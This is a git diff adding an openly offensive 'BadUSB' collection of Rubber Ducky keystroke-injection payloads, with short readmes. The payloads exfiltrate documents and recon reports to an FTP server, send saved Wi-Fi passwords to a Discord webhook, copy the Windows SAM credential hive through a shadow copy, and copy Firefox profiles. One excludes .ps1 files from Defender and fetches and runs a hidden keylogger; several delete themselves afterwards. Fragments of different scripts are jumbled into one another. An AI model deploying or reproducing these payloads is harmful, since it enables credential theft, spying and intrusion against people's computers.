Report ' + $folderDateTime +ENTER +STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory +ENTER +STRING $date = get-date +ENTER +STRING $style = "" +ENTER +STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html' +ENTER +STRING $Report = $Report + "Duck Tool Kit Report
Generated on: $Date
" +ENTER +STRING $Report = $Report + '' +ENTER +STRING $Report >> $fileSaveDir'/ComputerInfo.html' +ENTER +STRING function copy-ToZip($fileSaveDir){ +ENTER +STRING $srcdir = $fileSaveDir +ENTER +STRING $zipFile = 'C:\Windows\Report.zip' +ENTER +STRING if(-not (test-path($zipFile))) { +ENTER +STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) +ENTER +STRING (dir $zipFile).IsReadOnly = $false} +ENTER +STRING $shellApplication = new-object -com shell.application +ENTER +STRING $zipPackage = $shellApplication.NameSpace($zipFile) +ENTER +STRING $files = Get-ChildItem -Path $srcdir +ENTER +STRING foreach($file in $files) { +ENTER +STRING $zipPackage.CopyHere($file.FullName) +ENTER +STRING while($zipPackage.Items().Item($file.name) -eq $null){ +ENTER +STRING Start-sleep -seconds 1 }}} +ENTER +STRING copy-ToZip($fileSaveDir) +ENTER +STRING $final = 'C:\Windows\Report.zip' +ENTER +STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip" +ENTER +STRING $browser = New-Object System.Net.WebClient +ENTER +STRING $url = New-Object System.Uri($ftpAddr) +ENTER +STRING $browser.UploadFile($url, $final) +ENTER +STRING remove-item $fileSaveDir -recurse +ENTER +STRING remove-item 'C:\Windows\Report.zip' +ENTER +STRING Remove-Item $MyINvocation.InvocationName +ENTER +CTRL s +DELAY 800 +STRING C:\Windows\config-58477.ps1 +ENTER +DELAY 1000 +ALT F4 +DELAY 800 +GUI r +DELAY 800 +STRING powershell Start-Process cmd -Verb runAs +ENTER +DELAY 800 +ALT y +DELAY 1000 +STRING mode con:cols=14 lines=1 +ENTER +ALT SPACE +DELAY 800 +STRING m +DELAY 1000 +DOWNARROW +REPEAT 100 +ENTER +STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false +ENTER +DELAY 800 +STRING powershell.exe -windowstyle hidden -File C:\Windows\config-58477.ps1 +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Document_Exfil/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Document_Exfil/readme.md new file mode 100644 index 0000000..4818ae2 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Document_Exfil/readme.md @@ -0,0 +1,39 @@ + +# Exfiltrate Documents +This script will exfiltrate documents stored on the pc and upload them to a ftp server. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change the ftp server info right here "STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip" + + +## Features + +- open powershell +- exfiltrate documents +- upload documents to ftp server + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ExfilFirefox/ExfilFirefox.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ExfilFirefox/ExfilFirefox.txt new file mode 100644 index 0000000..a96781a --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ExfilFirefox/ExfilFirefox.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Exfiltrate Firefox profile and store to path. Change destination Path at the very end of the string. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 1200 +ALT y +DELAY 1200 +GUI UP +DELAY 1200 +STRING $ErrorActionPreference = "SilentlyContinue";$folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-26528702.html';$Report = $Report + "User Documents (doc,docx,pdf,rar)
' +ENTER +STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime) +ENTER +STRING $Report = $Report + 'Walkuer Ghost Report
Generated on: $Date
";$fireSaveDir = New-Item $userDir'\WGD\FireFox-Profile' -ItemType Directory;$fireDir = (Get-ChildItem env:userprofile).value + '\AppData\Roaming\Mozilla\Firefox\Profiles';Copy-Item $fireDir -Destination $fireSaveDir -Recurse;Start-Sleep -s 10;$Report >> $fileSaveDir'/ComputerInfo-26528702.html';Compress-Archive -Path $fileSaveDir -DestinationPath PATH\results-26528702.zip ; exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ExfilFirefox/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ExfilFirefox/readme.md new file mode 100644 index 0000000..36886bb --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ExfilFirefox/readme.md @@ -0,0 +1,39 @@ + +# ExfilFirefox +This script exfiltrates the firefox profile and saves them to a local html file. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change path of the file "-DestinationPath PATH\results-26528702.zip" + + +## Features + +- open powershell +- copy firefox profile +- paste profile into a html file + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/General_PC_Information/General_PC_Information.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/General_PC_Information/General_PC_Information.txt new file mode 100644 index 0000000..16f9259 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/General_PC_Information/General_PC_Information.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Saves some general Information about the target pc to a file. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 750 +WINDOWS d +DELAY 900 +WINDOWS r +DELAY 900 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 900 +ALT y +DELAY 900 +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss'); $userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime; $fileSaveDir = New-Item ($userDir) -ItemType Directory; $date = get-date; $style = ''; $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-34231960.html'; $Report = $Report + "Walkuer Ghost Report
Generated on: $Date
"; $SysBootTime = Get-WmiObject Win32_OperatingSystem; $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime; $SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME); $SerialNo = $SysSerialNo.SerialNumber; $SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model; $SysManufacturer = $SysInfo.Manufacturer; $SysModel = $SysInfo.Model; $OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption; $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"; $HD = [math]::truncate($disk.Size / 1GB); $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB); $SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize; $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB); $SysCpu = Get-WmiObject Win32_Processor | Select Name; $Cpu = $SysCpu.Name; $HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber; $HardSerialNo = $HardSerial.SerialNumber; $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name; $graphicsCard = gwmi win32_VideoController |select Name; $graphics = $graphicsCard.Name; $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1; $DriveLetter = $CDDrive.Drive; $DriveName = $CDDrive.Caption; $Disk = $DriveLetter + '\' + $DriveName; $Firewall = New-Object -com HNetCfg.FwMgr; $FireProfile = $Firewall.LocalPolicy.CurrentProfile; $FireProfile = $FireProfile.FirewallEnabled; $Report = $Report + "Computer Information
Operating System $OS OS Serial Number: $SerialNo Current User: $env:USERNAME System Uptime: $BootTime System Manufacturer: $SysManufacturer System Model: $SysModel Serial Number: $HardSerialNo Firewall is Active: $FireProfile "; $Report >> $fileSaveDir'/ComputerInfo-34231960.html';Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\Gather_Informationresults-34231960.zip ; exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/General_PC_Information/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/General_PC_Information/readme.md new file mode 100644 index 0000000..0b19d9a --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/General_PC_Information/readme.md @@ -0,0 +1,39 @@ + +# General_PC_Information +This script saves some general info about the pc into a file. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change path of the file "-DestinationPath PATH TO SAVE FILE HERE\Gather_Informationresults-34231960.zip" + + +## Features + +- open powershell +- exfiltrate pc info +- paste info to a html file + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/GetAllComputerInfo.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/GetAllComputerInfo.txt new file mode 100644 index 0000000..ca4c493 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/GetAllComputerInfo.txt @@ -0,0 +1,30 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Simple Powershell script that stores alot of Info about the PC into a file. For more info read the comments (REM) in the code below. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 1000 +GUI r +DELAY 450 +REM Start Powershell as Admin +STRING powershell Start-Process powershell -Verb runAs +DELAY 500 +ENTER +DELAY 600 +LEFTARROW +DELAY 600 +ENTER +DELAY 750 +REM Change the "Path" to your path ("C:\..."). +STRING $Path = "PATH" +DELAY 500 +ENTER +DELAY 500 +REM Creates the Results.txt file to the path +STRING New-Item -Path "$Path\Results.txt" -ItemType File +DELAY 500 +ENTER +DELAY 700 +REM Gets all the Info about the PC and stores them into the created Results.txt file +STRING Get-ComputerInfo | Out-File -FilePath "$Path\Results.txt" +DELAY 300 +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/readme.md new file mode 100644 index 0000000..27d8770 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/readme.md @@ -0,0 +1,39 @@ + +# GetAllComputerInfo +This script saves almost every valuable info about the pc to a file. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change path of the file "STRING $Path = "PATH"" + + +## Features + +- open powershell +- exfiltrate pc info +- paste info to a html file + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/IP_To_Discord/SaveIP_ToDiscordWebhook.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/IP_To_Discord/SaveIP_ToDiscordWebhook.txt new file mode 100644 index 0000000..4e90a8d --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/IP_To_Discord/SaveIP_ToDiscordWebhook.txt @@ -0,0 +1,12 @@ +REM Author: Startrk1995 +REM Description: Saves the IP of the target pc to a discord webhook. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 500 +GUI r +DELAY 200 +STRING powershell +ENTER +DELAY 1000 +STRING $url="DISCORD WEBHOOK LINK";dir env: >> stats.txt; Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;$Body=@{ content = "$env:computername Stats from Ducky/Pico"};Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json);curl.exe -F "file1=@stats.txt" $url ; Remove-Item '.\stats.txt';exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/IP_To_Discord/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/IP_To_Discord/readme.md new file mode 100644 index 0000000..3e3ea51 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/IP_To_Discord/readme.md @@ -0,0 +1,39 @@ + +# IP_To_Discord +Saves the IP of the target pc to a discord webhook. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change the url of the discord webhook "$url="DISCORD WEBHOOK LINK"" + + +## Features + +- open powershell +- get ip adress +- send file with ip to webhook + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Keylogger/Keylogger.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Keylogger/Keylogger.txt new file mode 100644 index 0000000..2f10fb5 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Keylogger/Keylogger.txt @@ -0,0 +1,44 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: This script allows you to inject a software keylogger in victim's PC +REM Version: 1.0 +REM Category: Exfiltration +DELAY 2500 +GUI d +DELAY 500 +GUI r +DELAY 500 +STRING powershell.exe -windowstyle hidden +DELAY 200 +CTRL SHIFT ENTER +DELAY 5000 +LEFT +DELAY 150 +ENTER +DELAY 5000 +STRING cd C:\Users\Public\Documents +ENTER +STRING Add-MpPreference -ExclusionExtension ps1 -Force +ENTER +STRING Set-ExecutionPolicy unrestricted -Force +ENTER +STRING wget (LINK TO KEYLOGGER) -OutFile script.ps1 +ENTER +DELAY 3500 +STRING powershell.exe -noexit -windowstyle hidden -file script.ps1 +ENTER +CAPSLOCK +DELAY 150 +CAPSLOCK +DELAY 150 +CAPSLOCK +DELAY 150 +CAPSLOCK +DELAY 2000 +CAPSLOCK +DELAY 150 +CAPSLOCK +DELAY 150 +CAPSLOCK +DELAY 150 +CAPSLOCK +REM End of payload diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Keylogger/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Keylogger/readme.md new file mode 100644 index 0000000..1a6e2de --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Keylogger/readme.md @@ -0,0 +1,39 @@ + +# Keylogger +This script is only for experienced penetration testers. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change url to a .ps keylogger script "STRING wget (LINK TO KEYLOGGER)" + + +## Features + +- open powershell +- download .ps script +- execute script + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ListWindowsUpdates/ListWindowsUpdates.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ListWindowsUpdates/ListWindowsUpdates.txt new file mode 100644 index 0000000..0728b34 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ListWindowsUpdates/ListWindowsUpdates.txt @@ -0,0 +1,23 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Saves all installed windows updates to a list. Don't forget to change the path. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 1200 +ALT y +DELAY 1200 +GUI UP +DELAY 1200 +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-90412137.html';$Report = $Report + "Hardware Information
Hardrive Size: $HD GB Hardrive Free Space: $FreeSpace GB System RAM: $Ram GB Processor: $Cpu CD Drive: $Disk Graphics Card: $graphics Walkuer Ghost Report
Generated on: $Date
";$Report = $Report + '';$Report >> $fileSaveDir'/ComputerInfo-90412137.html' +ENTER +STRING Compress-Archive -Path $fileSaveDir -DestinationPath results-90412137.zip ; exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ListWindowsUpdates/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ListWindowsUpdates/readme.md new file mode 100644 index 0000000..f7267c8 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ListWindowsUpdates/readme.md @@ -0,0 +1,39 @@ + +# ListWindowsUpdates +This script is going to save the names of installed windows updates. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change path for the file "-DestinationPath results-90412137.zip" + + +## Features + +- open powershell +- list windows updates +- store them into a file + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Network_Exfiltration/Network_Exfiltration.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Network_Exfiltration/Network_Exfiltration.txt new file mode 100644 index 0000000..5e3b3d9 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Network_Exfiltration/Network_Exfiltration.txt @@ -0,0 +1,164 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Exfiltrate network. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 800 +GUI r +DELAY 1000 +STRING powershell Start-Process notepad -Verb runAs +ENTER +DELAY 800 +ALT y +DELAY 800 +ENTER +ALT SPACE +DELAY 1000 +STRING m +DELAY 1000 +DOWNARROW +REPEAT 100 +ENTER +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss') +ENTER +STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime +ENTER +STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory +ENTER +STRING $date = get-date +ENTER +STRING $style = "" +ENTER +STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html' +ENTER +STRING $Report = $Report + "Installed Updates
';$Report = $Report + (Get-WmiObject Win32_QuickFixEngineering -ComputerName $env:COMPUTERNAME | sort-object -property installedon -Descending | ConvertTo-Html Description, HotFixId,Installedon,InstalledBy);$Report = $Report + 'Duck Tool Kit Report
Generated on: $Date
" +ENTER +STRING $Report = $Report + '' +ENTER +STRING $Report >> $fileSaveDir'/ComputerInfo.html' +ENTER +STRING function copy-ToZip($fileSaveDir){ +ENTER +STRING $srcdir = $fileSaveDir +ENTER +STRING $zipFile = 'C:\Windows\Report.zip' +ENTER +STRING if(-not (test-path($zipFile))) { +ENTER +STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) +ENTER +STRING (dir $zipFile).IsReadOnly = $false} +ENTER +STRING $shellApplication = new-object -com shell.application +ENTER +STRING $zipPackage = $shellApplication.NameSpace($zipFile) +ENTER +STRING $files = Get-ChildItem -Path $srcdir +ENTER +STRING foreach($file in $files) { +ENTER +STRING $zipPackage.CopyHere($file.FullName) +ENTER +STRING while($zipPackage.Items().Item($file.name) -eq $null){ +ENTER +STRING Start-sleep -seconds 1 }}} +ENTER +STRING copy-ToZip($fileSaveDir) +ENTER +STRING $final = 'C:\Windows\Report.zip' +ENTER +STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip" +ENTER +STRING $browser = New-Object System.Net.WebClient +ENTER +STRING $url = New-Object System.Uri($ftpAddr) +ENTER +STRING $browser.UploadFile($url, $final) +ENTER +STRING remove-item $fileSaveDir -recurse +ENTER +STRING remove-item 'C:\Windows\Report.zip' +ENTER +STRING Remove-Item $MyINvocation.InvocationName +ENTER +CTRL s +DELAY 800 +STRING C:\Windows\config-49197.ps1 +ENTER +DELAY 1000 +ALT F4 +DELAY 800 +GUI r +DELAY 800 +STRING powershell Start-Process cmd -Verb runAs +ENTER +DELAY 800 +ALT y +DELAY 1000 +STRING mode con:cols=14 lines=1 +ENTER +ALT SPACE +DELAY 800 +STRING m +DELAY 1000 +DOWNARROW +REPEAT 100 +ENTER +STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false +ENTER +DELAY 800 +STRING powershell.exe -windowstyle hidden -File C:\Windows\config-49197.ps1 +ENTER +STRING $IP = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter 'IPEnabled = True' | Select IPAddress -First 1 +ENTER +STRING $IPAddr = $IP.IPAddress | Select-Object -Index 0 +ENTER +STRING $IPAddr -as [String] +ENTER +STRING $IPa = $IPAddr.Split('.') | Select -Index 0 +ENTER +STRING $IPb = $IPAddr.Split('.') | Select -Index 1 +ENTER +STRING $IPc = $IPAddr.Split('.') | Select -Index 2 +ENTER +STRING $IPAddr = $IPa + '.' + $IPb + '.' + $IPc + '.' +ENTER +STRING $Ping = new-object System.Net.Networkinformation.Ping +ENTER +STRING $ScanResults = 1-225..1-225 | ForEach-Object {($Ping).Send($IpAddr + $_) } | Where-Object {$_.Status -eq 'Success'} | select Address +ENTER +STRING $x = 0 +ENTER +STRING $Report = $Report + 'User Documents (doc,docx,pdf,rar)
' +ENTER +STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime) +ENTER +STRING $Report = $Report + '' +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Network_Exfiltration/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Network_Exfiltration/readme.md new file mode 100644 index 0000000..d8e7133 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Network_Exfiltration/readme.md @@ -0,0 +1,41 @@ + +# Exfiltrate Network +This script will exfiltrate the network and uplaod the report to an ftp server. + +## How to use? + +This script is not plug and play. You need to do the following changes: + +- change the two numbers 1-225 into a number from 1-225 ;) +- "STRING $ScanResults = 1-225..1-225 | ForEach-Object {($Ping).Send($IpAddr + $_) } | Where-Object {$_.Status -eq 'Success'} | select Address " +- Would be --> $ScanResults = 1..169 (for example) + + +## Features + +- open powershell +- exfiltrate network +- upload report to server + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/SAMexfil/SAMexfil.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/SAMexfil/SAMexfil.txt new file mode 100644 index 0000000..d460339 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/SAMexfil/SAMexfil.txt @@ -0,0 +1,108 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Extracts Security Account Manager of the PC to a file. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 750 +GUI r +DELAY 1000 +STRING powershell Start-Process notepad -Verb runAs +ENTER +DELAY 750 +ALT y +DELAY 750 +ENTER +ALT SPACE +DELAY 1000 +STRING m +DELAY 1000 +DOWNARROW +REPEAT 100 +ENTER +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss') +ENTER +STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime +ENTER +STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory +ENTER +STRING $date = get-date +ENTER +STRING $style = "" +ENTER +STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html' +ENTER +STRING $Report = $Report + "Network Scan Results
' +ENTER +STRING do { +ENTER +STRING $IPResults = $ScanResults | Select-Object -Index $x +ENTER +STRING $CompInfo = Get-WmiObject Win32_OperatingSystem -Computer $IPResults.Address | Select RegisteredUser, SystemDirectory +ENTER +STRING $CompName = (Get-WmiObject Win32_OperatingSystem -Computer $IPResults.Address).csname +ENTER +STRING $CurrIP = $IPResults.Address.IPAddressToString +ENTER +STRING $CurrOS = $CompInfo.SystemDirectory +ENTER +STRING $CurrName = $CompInfo.RegisteredUser +ENTER +STRING if ($CompInfo -ne $null){ +ENTER +STRING $Report = $Report + '
IP Address: ' + $CurrIP + ' Compter Name: ' + $CompName + ' User Name: ' + $CurrName + ' OS: ' + $CurrOS + '
' +ENTER +STRING }else{ +ENTER +STRING $Report = $Report + 'IP Address: ' + $CurrIP + ' Computer Name: NOT KNOWN User Name: NOT KNOWN OS: NOT KNOWN
'} +ENTER +STRING $x ++ +ENTER +STRING } while ($x -lt $ScanResults.Count) +ENTER +STRING $Report = $Report + 'Duck Tool Kit Report
Generated on: $Date
" +ENTER +STRING $createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible') +ENTER +STRING $shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID } +ENTER +STRING $addSlash = $shadow.DeviceObject + '\' +ENTER +STRING cmd /c mklink C:\shadowcopy $addSlash +ENTER +STRING Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir +ENTER +STRING Remove-Item -recurse -force 'C:\shadowcopy' +ENTER +STRING $Report >> $fileSaveDir'/ComputerInfo.html' +ENTER +STRING function copy-ToZip($fileSaveDir){ +ENTER +STRING $srcdir = $fileSaveDir +ENTER +STRING $zipFile = 'C:\Windows\Report.zip' +ENTER +STRING if(-not (test-path($zipFile))) { +ENTER +STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) +ENTER +STRING (dir $zipFile).IsReadOnly = $false} +ENTER +STRING $shellApplication = new-object -com shell.application +ENTER +STRING $zipPackage = $shellApplication.NameSpace($zipFile) +ENTER +STRING $files = Get-ChildItem -Path $srcdir +ENTER +STRING foreach($file in $files) { +ENTER +STRING $zipPackage.CopyHere($file.FullName) +ENTER +STRING while($zipPackage.Items().Item($file.name) -eq $null){ +ENTER +STRING Start-sleep -seconds 1 }}} +ENTER +STRING copy-ToZip($fileSaveDir) +ENTER +STRING remove-item $fileSaveDir -recurse +ENTER +STRING Remove-Item $MyINvocation.InvocationName +ENTER +CTRL s +DELAY 750 +STRING C:\Windows\config-98437.ps1 +ENTER +DELAY 1000 +ALT F4 +DELAY 750 +GUI r +DELAY 500 +STRING powershell Start-Process cmd -Verb runAs +ENTER +DELAY 1000 +ALT y +DELAY 750 +STRING mode con:cols=14 